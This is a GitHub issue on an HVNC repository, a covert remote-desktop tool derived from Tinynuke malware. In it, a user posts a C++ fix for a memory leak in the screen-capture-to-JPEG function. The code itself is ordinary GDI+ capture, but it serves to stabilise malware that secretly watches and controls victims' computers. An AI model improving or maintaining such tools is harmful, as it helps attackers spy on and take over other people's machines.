Meltedd / HVNC

Standalone HVNC Client & Server | Coded in C++ (Modified Tinynuke)
403 stars 123 forks source link

There is a problem, there will be insufficient memory. #24

Open m0n1b opened 5 months ago

m0n1b commented 5 months ago

due to not free the DG on the function BitmapToJpg fix it:

oid BitmapToJpg(HDC* hDc, HBITMAP* hbmpImage, int width, int height)
{
    ULONG_PTR gdiplusToken;
    GdiplusStartupInput gdiplusStartupInput;
    if (GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Ok) {
        return;
    }
    Funcs::pSelectObject(*hDc, hbmpImage);
    Funcs::pBitBlt(*hDc, 0, 0, width, height, GetDC(0), 0, 0, SRCCOPY);

    IStream* jpegStream = NULL;
    if (CreateStreamOnHGlobal(NULL, TRUE, &jpegStream) != S_OK) {
        GdiplusShutdown(gdiplusToken);
        return;
    }

    Bitmap* image = Bitmap::FromHBITMAP(*hbmpImage, NULL);
    if (!image || image->GetLastStatus() != Ok) {
        jpegStream->Release(); 
        GdiplusShutdown(gdiplusToken); 
        delete image; 
        return;
    }

    if (image->Save(jpegStream, &jpegID, NULL) != Ok) {
        jpegStream->Release(); 
        delete image;
        GdiplusShutdown(gdiplusToken); 
        return;
    }

    delete image; 

    LARGE_INTEGER li = { 0 };
    jpegStream->Seek(li, STREAM_SEEK_SET, NULL);

    Bitmap* jpegImage = Bitmap::FromStream(jpegStream, FALSE);
    jpegStream->Release(); 

    if (!jpegImage || jpegImage->GetLastStatus() != Ok) {
        delete jpegImage; 
        GdiplusShutdown(gdiplusToken); 
        return;
    }

    HBITMAP compressedImage = NULL;
    jpegImage->GetHBITMAP(Color::White, &compressedImage);
    Funcs::pGetDIBits(*hDc, compressedImage, 0, height, g_pixels, (BITMAPINFO*)&g_bmpInfo, DIB_RGB_COLORS);
    delete jpegImage; 

    if (compressedImage) {
        DeleteObject(compressedImage);
    }

    GdiplusShutdown(gdiplusToken); 
}